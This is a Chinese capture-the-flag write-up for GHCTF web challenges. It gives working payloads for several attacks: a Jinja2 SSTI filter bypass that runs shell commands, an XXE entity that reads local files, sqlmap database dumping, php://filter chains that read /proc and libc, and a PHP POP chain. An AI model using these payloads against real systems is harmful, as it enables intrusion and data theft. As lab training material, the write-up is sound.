GHCTF web详细wp
字数 851 2025-08-29 08:30:12
GHCTF Web题目详细解析与利用技术教学
1. SSTI漏洞利用
漏洞分析
题目提供了一个文件上传功能,上传的文件内容会被渲染,存在服务器端模板注入(SSTI)漏洞。
关键代码:
def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
with open(file_path, 'rb') as f:
file_content = str(f.read())
for keyword in dangerous_keywords:
if keyword in file_content:
return True
return False
绕过方法
使用fenjing工具生成绕过黑名单的payload:
from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)
def waf(s: str):
dangerous_patterns = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
for pattern in dangerous_patterns:
if pattern in s:
return False
return True
if __name__ == "__main__":
shell_payload, _ = exec_cmd_payload(waf, "ls")
print(shell_payload)
有效payload
{%set pi='so'[::-1]%}{%set ts=lipsum|escape|batch(22)|first|last%}{%set gl=ts*2+'globals'+ts*2%}{%set bu=ts*2+'builtins'+ts*2%}{%set im=ts*2+'import'+ts*2%}{{g.pop[gl][bu][im](pi).popen('ls').read()}}
利用步骤
- 上传包含payload的文件
- 访问
/file/文件名路径触发渲染 - 获取命令执行结果
2. XXE漏洞利用
漏洞分析
题目提供了一个XML解析接口,未禁用外部实体引用。
关键代码:
@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
利用方法
构造包含外部实体引用的XML文档:
URL编码payload:
%3c%21%44%4f%43%54%59%50%45%20%74%65%73%74%20%5b%0d%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22%3e%0d%0a%5d%3e%0d%0a%3c%72%6f%6f%74%3e%0d%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6e%61%6d%65%3e%0d%0a%3c%2f%72%6f%6f%74%3e
解码后:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>
利用步骤
- 向
/ghctf发送POST请求 - 在
xml参数中传入恶意XML - 获取文件内容
3. SQLite注入
漏洞分析
题目存在SQLite数据库注入漏洞。
利用方法
直接使用sqlmap工具进行自动化注入:
sqlmap -u "目标URL" --dbs
sqlmap -u "目标URL" -D 数据库名 --tables
sqlmap -u "目标URL" -D 数据库名 -T 表名 --dump
4. 文件读取漏洞
漏洞分析
题目存在文件读取功能,可以通过路径遍历读取系统文件。
利用方法
- 读取
/proc/self/maps获取内存布局:
php://filter/convert.base64-encode/resource=/proc/self/maps
- 读取libc文件:
php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so
- 使用复杂过滤器绕过限制:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,{base64编码的payload}
5. 反序列化漏洞(POP链构造)
漏洞分析
题目存在PHP对象注入漏洞,需要构造特定的POP链。
利用方法
- 分析源代码,找到可利用的类和方法
- 构造POP链利用
Mystery类 - 通过
SplFileObject读取文件
关键点:
- 利用
array_walk函数遍历对象属性 - 通过
__get魔术方法触发文件操作 - 使用
FilesystemIterator遍历文件系统
示例POP链
$f = new Mystery();
$f->SplFileObject = "../../../flag44545615441084";
总结
- SSTI漏洞:重点在于绕过关键字过滤,使用字符串操作和属性链式访问
- XXE漏洞:利用外部实体引用读取系统文件
- SQL注入:使用自动化工具快速利用
- 文件读取:结合过滤器链和路径遍历读取敏感文件
- 反序列化:分析类结构,构造属性访问链
每种漏洞类型都有其特定的利用场景和防御方法,在实际渗透测试中需要根据具体情况选择合适的利用方式。